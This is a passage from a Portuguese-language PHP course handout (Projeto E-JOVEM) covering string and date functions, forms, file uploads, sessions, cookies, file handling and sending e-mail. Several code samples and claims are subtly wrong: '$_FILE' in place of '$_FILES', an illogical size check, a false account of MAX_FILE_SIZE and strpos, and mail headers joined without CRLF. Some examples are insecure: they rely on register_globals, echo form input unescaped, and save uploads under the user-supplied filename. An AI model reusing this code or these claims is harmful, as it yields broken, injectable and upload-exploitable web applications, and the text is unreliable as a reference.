Aspas duplas ( " ): Desta maneira, qualquer variável ou caracter de escape será expandido antes de ser atribuído.

Seqüência Significado \n Nova linha \r Retorno de carro (semelhante a \n) \t Tabulação horizontal \\ A própria barra ( \ ) \$ O símbolo $ (Cifrão) \’ Aspa simples \” Aspa dupla \[0-7]{1,3} Seqüência de caracteres batendo a expressão regular

dos caracteres em notação octal. \x[0-9A-Fa-f]{1,2} Seqüência de caracteres batendo a expressão regular de

um caracter em notação hexadecimal.

16.1. Operadores de strings

Há dois operadores de string.

O primeiro é o operador de concatenação é o ponto (.), que retorna a concatenação dos seus argumentos direito e esquerdo.

Page 50: 58777500 Apostila PHP

Projeto E-JOVEM

51

Exemplo: <?php $a = "Olá ";

$b = $a . “mundo!”; echo "$b";

?>

O segundo é o operador de atribuição de concatenação ('.='), que acrescenta o argumento do lado direito no argumento do lado esquerdo.

<?php $a = "Olá ";

$a .= “mundo!”; echo "$a";

?>

16.2. Funções

Chr Sintaxe:

• string chr(int ascii); Retorna o caracter correspondente ao código ASCII fornecido

Ord Sintaxe:

• int ord(string string);

Retorna o código ASCII correspondente ao caracter fornecido. Echo Sintaxe:

• echo(string arg1, string [argn]... );

Imprime os argumentos fornecidos.

Page 51: 58777500 Apostila PHP

Projeto E-JOVEM

52

Print Sintaxe:

• print(string arg); Imprime o argumento fornecido.

Strlen Sintaxe:

• int strlen(string str); Retorna o tamanho da string fornecida. Trim Sintaxe:

• string trim ( string str [, string charlist]) Retira espaços e linhas do início e do fim da string fornecida. Ltrim Sintaxe:

• string trim ( string str [, string charlist])

Retira espaços e linhas em branco do ínicio da string fornecida. Rtrim Sintaxe:

• string rtrim ( string str [, string charlist])

Retira espaços e linhas em branco do final da string fornecida. Observação: chop é alias de rtrim.

Page 52: 58777500 Apostila PHP

Projeto E-JOVEM

53

str_replace Sintaxe:

• string str_replace(string str1, string str2, string str3); Altera todas as ocorrências de str1 em str3 pela string str2.

Strrev Sintaxe:

• string strrev(string str);

Retorna a string fornecida invertida.

Exemplo: strrev(“Teste”); // retorna “etseT”

strtolower Sintaxe:

• string strtolower(string str); Retorna a string fornecida com todas as letras minúsculas.

Exemplo: strtolower(“Teste”); // retorna “teste”

strtoupper Sintaxe:

• string strtoupper(string str); •

Retorna a string fornecida com todas as letras maiúsculas. Exemplo: strtoupper(“Teste”); // retorna “TESTE”

Page 53: 58777500 Apostila PHP

Projeto E-JOVEM

54

ucfirst Sintaxe:

• string ucfirst(string str);

Retorna a string fornecida com o primeiro caracter convertido para letra maiúscula.

Exemplo: ucfirst(“teste de função”); // retorna “Teste de função”

ucwords Sintaxe:

• string ucwords(string str); Retorna a string fornecida com todas as palavras iniciadas por letras maiúsculas.

Exemplo: ucwords(“teste de função”); // retorna “Teste De Função”

similar_text Sintaxe:

• int similar_text(string str1, string str2, double [porcentagem]); Compara as duas strings fornecidas e retorna o número de caracteres coincidentes. Opcionalmente pode ser fornecida uma variável passada por referência, que receberá o valor percentual de igualdade entre as strings. Esta função é case sensitive, ou seja, maiúsculas e minúsculas são tratadas como diferentes.

Exemplo: $num = similar_text("teste", "testando",&$porc); As variáveis passam a ter os seguintes valores: $num == 4; $porc == 61.538461538462

Strcasecmp Sintaxe:

• int strcasecmp(string str1, string str2);

Page 54: 58777500 Apostila PHP

Projeto E-JOVEM

55

Compara as duas strings e retorna 0 (zero) se forem iguais, um valor maior que zero se str1 > str2, e um valor menor que zero se str1 < str2. Esta função é case insensitive, ou seja, maiúsculas e minúsculas são tratadas como iguais. Observação: A função strcmp funciona de maneira semelhante à função strcasecmp, com a diferença que esta é case sensitive. Strops Sintaxe:

• int strpos(string str1, string str2, int [offset] );

Retorna a posição da primeira ocorrência de str2 em str1, ou zero se não houver. O parâmetro opcional offset determina a partir de qual caracter de str1 será efetuada a busca. Mesmo utilizando o offset, o valor de retorno é referente ao início de str1. Strrpos Sintaxe:

• int strrpos(string haystack, char needle);

Retorna a posição da última ocorrência de str2 em str1, ou zero se não houver. strstr e strchr Sintaxe:

• string strstr(string str1, string str2); • string strchr(string str1, string str2);

As duas funções são idênticas. Procura a primeira ocorrência de str2 em str1. Se não encontrar, retorna uma string vazia, e se encontrar retorna todos os caracteres de str1 a partir desse ponto.

Exemplo: strstr("Soft Educandus", "Edu"); // retorna “Educandus”

Page 55: 58777500 Apostila PHP

Projeto E-JOVEM

56

17. Trabalhando com Data e Hora

17.1. A Função date

Date Sintaxe:

• String date(string formato,int[datahora] ); Para mostrar um campo data e hora o caminho mais prático é utilizar a função date. Ela retorna uma data no formato especificado. <?php

$niver = mktime (13,30,0,9,18,1990); $niverEmTexto = date('d F Y – g:i a', $niver); echo "Educandus surgiu em $niverEmTexto.";

?> 17.2. A Função mktime

Mktime Sintaxe:

• Int mktime(int hora, int minuto, int segundo, int mês, int dia, int ano, int [is_dsf]); Retorna uma data/hora no formato UNIX. Obtém um timestamp UNIX para uma data. Este timestamp é um longo inteiro contendo o número de segundos entre a Era Unix (January 1 1970) e o tempo especificado. Argumentos podem ser omitidos da direita para esquerda; quaisquer argumentos assim omitidos serão definidos para o valor atual de acordo com a data e a hora local. Observação: is_dst pode ser definido para 1 se está durante o horário de verão, 0 se não estiver, ou -1 (o padrão) se não se sabe se está em horário de verão ou não. Se for desconhecido, o PHP tenta calcular. Isto pode causar resultados inesperados (mas não incorretos). A função mktime() é útil para fazer data aritmética e validação, ela calculará automaticamente o valor correto para um receptor fora de linha.

Page 56: 58777500 Apostila PHP

Projeto E-JOVEM

57

Exemplo:

<?php echo date ("M-d-Y", mktime (0,0,0,12,32,1997)); print "<br>"; echo date ("M-d-Y", mktime (0,0,0,13,1,1997)); print "<br>"; echo date ("M-d-Y", mktime (0,0,0,1,1,1998)); print "<br>"; echo date ("M-d-Y", mktime (0,0,0,1,1,98));

?> 17.3. Letras Chaves para Usar com o Comando Date A tabela abaixo mostra algumas letras usadas com o comando date e o seu significado:

Caracter: Significado: d Dia do mês, numérico (De 00 a 31). j Dia do mês, numérico. Sem os zeros à esquerda (De 0 a31). W Dia da semana, numérico (0=domingo ...6=sábado). D Dia da semana textual, abreviado com 3 letras (Sun...Sat). l Nome do dia da semana completo (Sunday...Saturday) L Se é ano bissexto.1 o ano é bissexto, 0 ano não é bissexto. z Dia do ano (De 0 a 365) m Mês, numérico (De 01 a 12) M Nome do mês, abreviado com 3 letras (Jan...Dec). F Nome do mês completo (Janeiro...Dezembro). Y Ano, numérico, 4 dígitos. y Ano, numérico, 2 dígitos. H Hora, no formato de 24 horas (De 00 a 23). h Hora, no formato de 12 horas (De 01 a 12). G Hora, no formato de 24 horas sem zeros à esquerda (De 0 a 23). g Hora, no formato de 12 horas sem zeros à esquerda (De 1 a 12). i Minutos (De 00 a 59). s Segundos (De 00 a 59). A AM ou PM a am ou pm

Observação: A função Date sem argumento da data, retorna a data atual.

Page 57: 58777500 Apostila PHP

Projeto E-JOVEM

58

17.4. Outras Funções Envolvendo Data e/ou Hora

Getdate Sintaxe:

• Array getdate(int data/hora); Retorna um array associativo contendo todas as informações de uma data/hora específica.

“seconds” Segundos “minutes” Minutos “hours” Horas “mday” Dia do mês “wday” Dia da semana no formato decimal “mon” Mês no formato decimal “year” Ano no formato decimal “yday” Dia do ano no formato decimal “weekday” Dia da semana no formato decimal “month” Mês no formato texto

Time Sintaxe: • Int time(void); Retorna a data/hora no formato UNIX, que corresponde ao número de segundos desde o Unix Epoch(01\01\1970 00:00:00 GMT). Gmdate Sintaxe: • String gmdate(string formato, int datahora); Retorna uma data/hora GMT no formato UNIX. É idêntica à função mktime(), exceto que a hora retornada é a hora de Greenwich. Strftime Sintaxe: • String strftime(string formato, int datahora);

Page 58: 58777500 Apostila PHP

Projeto E-JOVEM

59

Retorna uma string formatada de acordo com o formato dado em timestamp ou o horário corrente se nenhum timestamp é dado. Nomes de mês e dia da semana e outras strings dependentes de linguagens respeitam o a localidade definida com setlocale(), ou seja, formata uma hora/data de acordo com as configurações locais. Observação: Setlocale altera as informações de localidade. Sintaxe: • String setlocale(string categoria, string locale);

Argumento Descrição Data Data/hora a ser formatada. Se não especificada,

utilizará a data/hora corrente. Formato String com caracteres de formatação de datas.

Tabela com os caracteres de formatação de datas.

Caracter Significado %a Dia da semana abreviado. %A Dia da semana completo. %b Nome abreviado do mês. %B Nome completo do mês. %c Representação preferida de data e hora. %d Dia do mês no formato decimal (00−31). %H Hora no formato decimal de 24 horas (00−23). %l Hora no formato decimal de 12 horas (00−12). %j Dia do ano no formato decimal (001−366). %m Mês em formato decimal (1−12). %M Minutos no formato decimal. %p ‘am’ ou ‘pm’, dependendo da hora especificada. %S Segundos no formato decimal. %U Número da semana do ano atual no formato decimal,

começando no primeiro domingo como o primeiro dia da primeira semana.

%W Número da semana do ano atual no formato decimal, começando na primeira segunda−feira como o primeiro dia da primeira semana.

%w Dia da semana no formato decimal, sendo o domingo igual a 0.

%x Representação preferida da data, sem a hora. %X Representação preferida da hora, sem a data. %y Ano no formato decimal, sem o século (00−99). %Y Ano no formato decimal, com o século.

Page 59: 58777500 Apostila PHP

Projeto E-JOVEM

60

%Z Zona de fuso horário, ou nome, ou abreviação. %% Um caractere literal “%”.

Checkdate

Sintaxe: • Int checkdate(int mês, int dia, int ano); Retorna true se uma data for válida; caso contrário, retorna false.

Uma data é considerada válida se:

• O ano está entre 1 e 32767 • o mês está entre 1 e 12 • O dia deve está dentro do número de dias permitidos para o dado mês. Anos

bissextos são levados em consideração.

Gettimeofday Sintaxe: • Array gettimeofday(void); Retorna um array associativo contendo as informações da hora corrente. Os índices da matriz são:

“sec” Segundos “usec” Microsegundos “minuteswest” Minutos a oeste de Greenwich “dsttime” Tipo da correção dst

18. Formulários HTML Um formulário HTML nada mais é do que uma mascara, por onde os usuários poderão preencher as informações solicitadas, que serão tratadas no servidor por algum script PHP. Para isso precisamos ter algumas coisas básicas no formulário como:

1. Botão Submit ou uma função que faça o papel deste botão. 2. Todos os campos que serão interpretados pelo PHP devem conter o atributo “name”

definido.

Page 60: 58777500 Apostila PHP

Projeto E-JOVEM

61

Devemos também definir o método pelo qual o formulário será enviado, que pode ser GET ou POST, normalmente utilizamos o método POST para que os dados não fiquem visíveis na url do site.

18.1. Tag FORM

Na tag form temos que informar alguns dados importantes para que nosso formulário funcione corretamente.

1. Temos que definir o action que diz qual script vai executar os dados quando o formulário for submetido. Caso fique em branco ele enviara os dados pro mesmo script que gerou o formulário.

Ex: <form action=’login.php’> Neste exemplo os dados do formulário serão enviados para o script login.php .

2. temos que definir o method utilizado para enviar os dados, GET ou POST.

Ex: <form action=’login.php’ method=’POST’ > Neste caso o formulário esta sendo enviado pelo método POST. 18.2. Como os dados chegam no PHP?

De acordo com exemplo anterior: O PHP tem duas variáveis globais chamadas $_POST e $_GET estas variáveis são do tipo array que são preenchidas pelos campos do formulário e seus respectivos valores. Então: Como meu form foi submetido por post para acessar o login digitado pelo meu usuário devo apenas utilizar $_POST[‘login’] Caso meu form tivesse sido enviado por GET trocaria apenas o $_POST para $_GET Ainda existe uma outra forma que é acessar uma variável com o nome do campo de texto direto por exemplo: $login, para isso é necessário está com a opção register_globals ativada no servidor PHP. Existe uma outra forma de acessar as variáveis vindas do form independente do método e independente de configuração de servidor, que devemos sempre lembrar de depender o mínimo de configurações especificas de servidor. Para acessar um campo do form independente do método utilizado devemos acrescentar a função “import_request_variables” está função importa variáveis GET/POST/Cookie para o escopo global, ela aceita como parâmetro uma string de até 3 caracteres que são:

Page 61: 58777500 Apostila PHP

Projeto E-JOVEM

62

G - para variáveis do método GET P - para variáveis do método POST C - para variáveis vindas de cookies

Exemplo de uso: No inicio do script colocamos: import_request_variables(‘gp’); 18.3. Inserindo dados em um formulário

Vimos como o PHP recebe os dados vindos dos formulários, mas como podemos enviar dados para os formulários? Em quase todos os campos HTML temos um atributo chamado value que é o valor daquele campo, é justamente este o atributo que vamos utilizar para preencher dados do PHP no formulário. Ex: <input type=’text’ name=’txtNome’ value’<? print $txtNome; ?>’ > Perceba que dentro das aspas do campo value existe a abertura de uma tag PHP e a impressão do valor de uma variável. Basicamente é assim que passamos dados do php para o formulário, mas temos que lembrar que em alguns casos como combobox , checkbox e radio Button é diferente, estes campos tem um value que é seu valor mais eles precisam ser selecionados então tempos que informar qual deve está selecionado. Ex: < input type=’checkbox’ name=’receberEmail’ value=’sim’ <? if($receberEmail == ‘sim’){ print ‘checked’; }?> > Note que dentro da tag do checkbox criamos um script php que verifica se a variável do php está como sim e ai imprime a palavra checked que faz com que o checkbox fique marcado. Da mesma forma utilizamos para o radio Button e para o select (combobox) utilizamos a palavra selected. 18.4. Enviando dados para o mesmo arquivo

Caso você não queira ter dois arquivos para calcular uma media simples, podemos utilizar o action do form em branco action=’’ e fazer um tratamento no inicio do nosso script para verificar se o form foi enviado ou não. Uma forma simples de fazer isso é fazendo um IF com o nome do botão submit para vê se ele existe, caso ele exista o form foi enviado caso contrario ainda não foi enviado. Ex: <?

if($_POST[‘btnSubmit’] == ‘valor do submit’){ //form enviado

Page 62: 58777500 Apostila PHP

Projeto E-JOVEM

63

}else{ //form não enviado }

?> 19. Upload de Arquivos Para fazermos upload de arquivos é necessário fazer modificações no nosso formulário. A tag form do HTML tem um atributo chamado “ENCTYPE” que define o tipo de dados que o formulário vai enviar ao servidor. Por padrão este valor é “application/x-www-form-urlencoded” que serve para enviar apenas textos. Para enviar arquivos precisamos modificar este atributo para “multipart/form-data”. Ex: <form enctype="multipart/form-data" name="frmUpload" action="arquivo.php" method="POST"> </form> Sem esse atributo setado não será possível realizar o upload.

19.1. Input File O HTML já tem um campo especifico para upload de arquivos, onde precisamos apenas configurá-lo. O componente que vamos usar é o INPUT com o type como FILE. Ex: <input type="file" name="foto" value="">

19.1.1. Tamanho do arquivo Veja o exemplo abaixo: <input type="hidden" name="MAX_FILE_SIZE" value="3000"> O valor MAX_FILE_SIZE informa ao browser que existe um limite de bytes no qual o arquivo deverá possuir. No exemplo acima, o php só irá levar em consideração arquivos que possuam mais de 3000 bytes. 19.1.2. Submetendo um arquivo Veja o exemplo abaixo: <form enctype="multipart/form-data" name="frmUpload" action="upload.php" method="POST">

Page 63: 58777500 Apostila PHP

Projeto E-JOVEM

64

<input type="hidden" name="MAX_FILE_SIZE" value="3000"> <input type="file" name="foto" value=""> <input type="submit" value="Enviar"> </form> Ao clicarmos no botão enviar, iremos submeter o formulário para a página upload.php. O conteúdo do arquivo poderá ser lido usando $_FILES[]. Exemplo: upload.php <? print $_FILE[‘foto’][‘name’]; // imprime o nome original do arquivo no computador do usuário. print $_FILE[‘foto’][‘ type’]; // O tipo mime do arquivo, se o browser deu esta informação. Um exemplo pode ser "image/gif". print $_FILE[‘foto’][‘ size’]; // O tamanho, em bytes, do arquivo. print $_FILE[‘foto’][‘ tmp_name’]; // O nome temporário do arquivo, como foi guardado no servidor.

print $_FILE[‘foto’][‘ error’]; // O código de erro associado a este upload de arquivo. ['error'] foi adicionado no PHP 4.2.0 ?> 19.1.3. Limitando o tamanho do arquivo

Com essas variáveis podemos agora fazer qualquer coisa com o arquivo. Como verificarmos o tamanho de um arquivo está dentro do limite a ser enviado ao servidor. Usamos em nosso script: <? if(($_FILE[‘foto’][‘ size’] > 1024)&& ($_FILE[‘foto’][‘ size’] > 3000)) { print “O tamanho do arquivo não está entre o permitido”; die; } ?> 19.1.4. Copiando o arquivo Para copiar o arquivo usaremos a função move_uploaded_file(); Veja o exemplo abaixo: <? $dir = “/fotos/”; if (move_uploaded_file($_FILES['foto']['tmp_name'], $dir . $_FILES['foto']['name'])) { print "O arquivo é valido e foi carregado com sucesso. "; } else { print "Erro no envio do arquivo"; } ?>

Page 64: 58777500 Apostila PHP

Projeto E-JOVEM

65

Na funcção move_uploaded_file();, nós passamos onde o arquivo encontra-se usando para isso $_FILES['foto']['tmp_name'], que informa o local temporário do arquivo. E como segundo parâmetro passou o local onde o arquivo ficará armazenado no servidor. 19.1.5. Explicação das mensagens de erro Desde o PHP 4.2.0, PHP retorna um código de erro apropriado na array do arquivo. O código de erro pode ser encontrado em ['error'] na array que é criada durante o upload do arquivo. Em outras palavras, o erro deve ser encontrado em $_FILES['foto']['error']. Veja o detalhe dos erros abaixo: UPLOAD_ERR_OK Valor: 0; não houve erro, o upload foi bem sucedido. UPLOAD_ERR_INI_SIZE Valor 1; O arquivo no upload é maior do que o limite definido em upload_max_filesize no php.ini. UPLOAD_ERR_FORM_SIZE Valor: 2; O arquivo ultrapassa o limite de tamanho em MAX_FILE_SIZE que foi especificado no formulário HTML. UPLOAD_ERR_PARTIAL Valor: 3; o upload do arquivo foi feito parcialmente. UPLOAD_ERR_NO_FILE Valor: 4; Não foi feito o upload do arquivo.

19.1.6. Carregando múltiplos arquivos Podemos carregar múltiplos arquivos definindo vários nomes aos inputs do tipo file ou em formato de array. Para isso precisamos usar a mesma sintaxe no formulário HTML que você usa para múltiplos selects e checkboxes. Veja o exemplo abaixo: <form action="file-upload.php" method="POST" enctype="multipart/form-data"> Send these files:<br /> <input name="userfile[]" type="file" /><br /> <input name="userfile[]" type="file" /><br /> <input type="submit" value="Send files" /> </form> Quando o formulário acima é submetido, as matrizes $_FILES['userfile'], $_FILES['userfile']['name'], e $_FILES['userfile']['size'] serão inicializadas e poderão ser acessadas acrescentando o índex.

Page 65: 58777500 Apostila PHP

Projeto E-JOVEM

66

Por exemplo: <? print $_FILES['userfile']['name'][0]; // imprime o nome do primeiro arquivo print $_FILES['userfile']['name'][1];// imprime o nome do segundo arquivo ?>

20. Sessões e Cookies

20.1. O que são sessões

O suporte a sessões no PHP consiste em uma maneira de preservar certos dados através dos acessos subseqüentes. Isto permite a você fazer aplicações mais personalizadas e melhorar a aparência do seu web site. Um visitante acessando o seu web site ganha um identificador único, o assim chamado id de sessão. Este é salvo em um cookie do lado do usuário ou propagado via URL.

20.1.1. Trabalhando com sessões

Para criar uma sessão deve ser utilizada a função session_start() antes da criação do header (primeira função da página) e sempre que se desejar utilizar a informação da sessão. O session_start() é uma simples função que não recebe parâmetro algum e sempre retorna o booleano true. Essa função precisa vir antes qualquer código de saída (echo ou print) e qualquer código HTML da sua página. 20.1.2. Destruindo sessões

Para fechar a sessão deve ser utilizada a função session_destroy(); Todas informações relacionadas a sessão são perdidas. Para remover uma variável da sessão, deve ser utilizada a função unset(); Veja o exemplo abaixo: <? unset($_SESSION[“nome”]); ?>

Page 66: 58777500 Apostila PHP

Projeto E-JOVEM

67

20.2. O que são cookies

Cookie é um mecanismo de armazenamento de dados no browser cliente e permite o rastreamento ou identificação do retorno de usuários. Você pode criar cookies com a função setcookie(). Cookies são parte do header HTTP, então, a função setcookie() precisa ser chamada antes de qualquer saída ser enviada ao browser.

20.2.1. Trabalhando com cookies

Cookies são criados através da função setcookie(); e essa função possui até 7 atributos:

1. Nome –Nome do cookie; (obrigatório) 2. Valor – Valor a ser inserido no cookie; (obrigatório) 3. Expire – Data (em segundos) em que o cookie vai expirar; 4. Path – Identifica o caminho onde o cookie será salvo; 5. Domínio – Identifica o domínio que pode acessar o cookie; 6. Secure – (0 ou 1). 1 para o caso de HTTPS. 7. Httponly – (0 ou 1). Usado para tornar o cookie acessível apenas ao protocolo HTTP.

Isto significa que o cookie não será acessível por linguagens script, como JavaScript. Foi adicionado ao PHP na versão 5.2.0

Exemplo de Cookie:

<?php $valor = 'algum valor’; setcookie("TesteCookie", $valor); setcookie("TesteCookie", $valor, time()+3600); /* expira em 1 hora */ // Imprime um cookie individualmente echo $_COOKIE["TesteCookie"]; echo $HTTP_COOKIE_VARS["TesteCookie"]; // Imprimimos um array com todos os cookies print_r($_COOKIE); ?>

21. Manipulando Arquivos Iremos mostrar varias funções para trabalharmos com arquivos e diretórios, como por exemplo, abrir um arquivo, ler ou escrever informações e fechá-lo.

Page 67: 58777500 Apostila PHP

Projeto E-JOVEM

68

21.1. Acessando Arquivos

Para acessar um arquivo estaremos usando a função fopen() . Sintaxe:

resource fopen ( string $filename , string $mode [, bool $use_include_path [, resource $context ]] )

Parâmetros: • filename: Nome do arquivo (arquivo.txt), Caminho do arquivo (C:\arquivo.txt) ou

url (http://www.site.com/pagina.html) • mode: forma de abertura do arquivo, poderá receber os parâmetros abaixo:

o “r” : somente leitura. o “r+”: leitura e escrita. o “w”: somente escrita. o “w+”: leitura e escrita. o “a”: escrita, informações acrescentadas no fim do arquivo. o “a+”: leitura e escrita, informações acrescentadas no fim do arquivo.

• use_include_path: O terceiro parâmetro opcional use_include_path pode ser definido para '1' ou TRUE se você quiser buscar o arquivo também no include_path.

• context: O suporte ao contexto foi adicionado com o PHP 5.0.0. Um contexto é

um conjunto de parâmetros específicos e opções que modificam ou melhoram o comportamento de um stream.

OBS: O Windows oferece uma flag de tradução do modo texto ('t') que traduz, transparentemente, \n para \r\n quando trabalhando no arquivo. Em contraste, você também pode utilizar 'b' para forçar o modo binário, que não irá traduzir o arquivo. Para usar essas flags, informe ou 'b' ou 't' como o último caractere no parâmetro mode.

Exemplo: <?php $handle = fopen("/home/rasmus/arquivo.txt", "r"); $handle = fopen("/home/rasmus/arquivo.gif", "wb"); $handle = fopen("http://www.examplo.com/", "r"); $handle = fopen("ftp://user:[email protected]/arquivo.txt", "w"); ?>

Page 68: 58777500 Apostila PHP

Projeto E-JOVEM

69

21.2. Lendo um arquivo Para lermos arquivos usaremos a função fgets() Sintaxe: string fgets ( resource $handle [, int $length ] ) Parâmetros:

• handle: O ponteiro do arquivo tem de ser válido por uma chamada a fopen() ou fsockopen() (e ainda não fechado por fclose()).

• Length: A leitura termina quando length - 1 bytes tenham sido lidos, em uma quebra de linha (que é incluída no retorno), ou no final do arquivo (EOF), o que acontecer primeiro. Se nenhum comprimento for especificado, a leitura do stream continuará até chegar ao final da linha.

Exemplo: <?php $handle = @fopen("arquivo.txt", "r"); if ($handle) { while (!feof($handle)) { $buffer = fgets($handle, 4096); echo $buffer; } fclose($handle); } ?>

21.3. Fechando um arquivo Usaremos a função fclose() para fecharmos um arquivo Sintaxe:

bool fclose ( int $handle ); Parâmetros:

• Handle: O ponteiro para o arquivo tem que ser válido e tem que apontar para um arquivo aberto por fopen() ou fsockopen().

Exemplo: <?php $handle = fopen('qualquerarquivo.txt', 'r'); fclose($handle); ?>

Page 69: 58777500 Apostila PHP

Projeto E-JOVEM

70

21.4. Escrevendo no arquivo Para escrevermos em um arquivo, estaremos usando a função fwrite() . essa função será usada em conjunto com fopen() e fclose(). Sintaxe: int fwrite ( resource $handle , string $string [, int $comprimento ] ) Parâmetros:

• Handle: Um ponteiro para o sistema de arquivos resource é tipicamente criado usando fopen().

• String: A string a ser escrita. • Comprimento: Se o argumento comprimento for dado, a escrita irá parar

depois que comprimento bytes tenham sido escritos ou o final da string seja alcançado, o que vier primeiro.

21.5. Copiar, Renomear e Remover um arquivo Para copiar usaremos a função copy(), para renomear rename() e para remover unlink() . Veja mais detalhes abaixo: copy() Sintaxe: bool copy ( string $origem , string $destino [, resource $context ] ) Parâmetros:

• Origem - Caminho para o arquivo de origem.

• Destino - O caminho de destino. Se o destino for uma URL, a cópia pode falhar se o wrapper não suportar a sobrescrita de arquivos existentes.

• Context - Um válido resource de contexto criado com stream_context_create() rename() Sintaxe: bool rename ( string $oldname , string $newname [, resource $context ] ) Parâmetros:

• Oldname – antigo nome

• Newname – novo nome

Page 70: 58777500 Apostila PHP

Projeto E-JOVEM

71

• Context - O suporte ao contexto foi adicionado com o PHP 5.0.0.

unlink() Sintaxe: int unlink ( string $filename [, resource $context ] ) Parâmetros:

• Filename – Caminho para o arquivo.

• Context - O suporte ao contexto foi adicionado com o PHP 5.0.0.

21.6. Criar, alterar e excluir diretórios Para criar um diretório usaremos a função mkdir(), para alterar chdir() e para remover rmdir() . Veja mais detalhes abaixo: mkdir() Sintaxe: bool mkdir ( string $pathname [, int $mode [, bool $recursive [, resource $context ]]] ) Parâmetros:

• Pathname – O caminho do diretório.

• Mode - O modo padrão é 0777, que significa o acesso mais abrangente possível.

• Recursive - O padrão é FALSE.

• Context - O suporte ao contexto foi adicionado com o PHP 5.0.0.

chdir () Sintaxe: bool chdir ( string $diretorio ) Parâmetros:

• diretorio – O novo caminho do diretório.

Page 71: 58777500 Apostila PHP

Projeto E-JOVEM

72

rmdir () Sintaxe: bool rmdir ( string $dirname [, resource $context ] ) Parâmetros:

• dirname – O caminho do diretório.

• Context - O suporte ao contexto foi adicionado com o PHP 5.0.0.

21.7. Abrir, fechar e ler diretórios.

Para abrir um diretório usaremos a função opendir(), para fechar closedir() e para ler readdir() . Veja mais detalhes abaixo: opendir () Sintaxe: resource opendir ( string $path [, resource $context ] ) Parâmetros:

• Path – O caminho do diretório a ser aberto.

• Context - O suporte ao contexto foi adicionado com o PHP 5.0.0.

closedir () Sintaxe:

void closedir ( resource $dir_handle ) Parâmetros:

• dir_handle – O manipulador de diretório resource aberto com opendir().

readdir () Sintaxe: string readdir ( resource $dir_handle ) Parâmetros:

• dir_handle – O manipulador de diretório resource aberto com opendir().

22. Enviando E-mail Veremos agora como utilizar formulários de envio de e-mail em nosso site.

22.1. Função mail()

Page 72: 58777500 Apostila PHP

Projeto E-JOVEM

73

A função mail() é usada para o envio de e-mails. Sintaxe: bool mail ( string $para , string $assunto, string $mensagem[, string $ headers [, string $parametros_adicionais]] ) Parâmetros:

• Para - Receptor, ou receptores do email.

o O formato desta string precisa estar de acordo com RFC 2822 (formato de mensagens para internet). Alguns exemplos:

§ [email protected] § [email protected], [email protected] § Usuario <[email protected]> § Usuario <[email protected]>, Outro Usuario

<[email protected]>

• Assunto - Assunto do email a ser enviado.

• Mensagem - mensagem a ser enviada. Cada linha deve ser separada com um LF (\n). Linhas não devem ser maiores que 70 caracteres.

• Headers - String a ser inserida no final do cabeçalho do email. Esta é normalmente usada para adicionar cabeçalhos extras (From, Cc, e Bcc). Múltiplos cabeçalhos extras devem ser separados com um CRLF (\r\n).

Parâmetros_adicionais - O parâmetro parâmetros_adicionais pode ser usado para passar um parâmetro adicional para o programa configurado para usa quando enviando email usando a configuração sendmail_path. Por exemplo, isto pode ser usado para definir o endereço do envelope remetente quando usando sendmail com a opção do sendmail -f.

22.2. Como será recebido O e-mail será recebido na caixa de entrada como qualquer outra mensagem, veja como chegaria a mensagem do exemplo da página anterior: Assunto: Verifique esta mensagem! Data: (Data do envio) De: Voce <[email protected]> Para: [email protected] Mensagem: O PHP é o melhor!

Page 73: 58777500 Apostila PHP

Projeto E-JOVEM

74

22.3. Enviando e-mail com formato HTML Agora que sabemos como enviar um e-mail em formato de texto simples, aprenderemos como enviar um e-mail com conteúdo em HTML. Vejam o exemplo abaixo: <? $destinatario = "[email protected]"; $assunto = "Esta mensagem é um teste"; $corpo = ' <html> <head> <title>Teste de correio</title> </head> <body> <h1>Olá amigos!</h1> <p> <b>Bem-vindos ao meu correio de teste</b>. Estamos testando o envio de e-mail através de HTML.</p> </body> </html> '; //para o envio em formato HTML $headers = "MIME-Version: 1.0"; $headers .= "Content-type: text/html;charset=iso-8859-1"; //endereço do remetente $headers .= "From: Suporte <[email protected]>"; //endereço de resposta, se queremos que seja diferente a do remitente $headers .= "Reply-To: [email protected]"; //endereços que receberão uma copia $headers .= "Cc:[email protected]"; //endereços que receberão uma copia oculta $headers .= "Bcc: [email protected], [email protected]"; mail($destinatario,$assunto,$corpo,$headers) ?>

Page 74: 58777500 Apostila PHP

Projeto E-JOVEM

75

Vamos agora as explicações:

1. Atribuímos a uma variável $destinatario o endereço de quem irá receber o e-mail.

2. Atribuímos a variável $assunto o assunto do e-mail.

3. Atribuímos a variável $corpo o nosso HTML.

4. A variável $headers receberá todos os headers para o envio do e-mail. Que são eles:

a. Para envio de e-mail em formato HTML: $headers = "MIME-Version: 1.0"; $headers .= "Content-type: text/html;charset=iso-8859-1";

b. Endereço do remetente (quem está enviando o e-mail):

$headers .= "From: Suporte <[email protected]>"; c. Endereço de resposta se quiser que seja diferente a do remitente

$headers .= "Reply-To: [email protected]"; d. Endereços que receberão uma copia.

$headers .= "Cc:[email protected]"; e. endereços que receberão uma copia oculta

$headers .= "Bcc: [email protected], [email protected]";

5. Utilizamos a função mail() para enviar o e-mail para os destinatários, passando as variáveis que definimos anteriormente.

mail($destinatario,$assunto,$corpo,$headers Observação Importante Para o envio de correio através de PHP é necessário que este tenha uma correta configuração. Se a nossa web está num servidor de um provedor de hosting provavelmente já tenham configurado o PHP para o envio de e-mails. Se estivermos trabalhando em um servidor próprio, temos que configurar no PHP. PHP configura-se editando o ficheiro php.ini onde devemos especificar dados como o servidor de correio de saída que deve utilizar PHP para transferir as mensagens. Dentro do php.ini, devemos procurar o epigrafe [mail function]. Dependendo do nosso sistema deveremos configurá-lo de uma maneira ou de outra. Em sistemas Windows encontraremos o php.ini no diretório windows ou dentro deste, no subdiretório system32 ou similar. Neste sistema deveremos indicar o domínio do servidor de smtp, algo parecido a smtp.meudominio.com. Se é o PC local o que faz de servidor, poderemos por "localhost" como máquina que enviará o correio. Também podemos

Page 75: 58777500 Apostila PHP

Projeto E-JOVEM

76

especificar o endereço de onde queremos que pareça a mensagem no caso de que não se indique outra durante o envio.

22.4. O que é SMTP

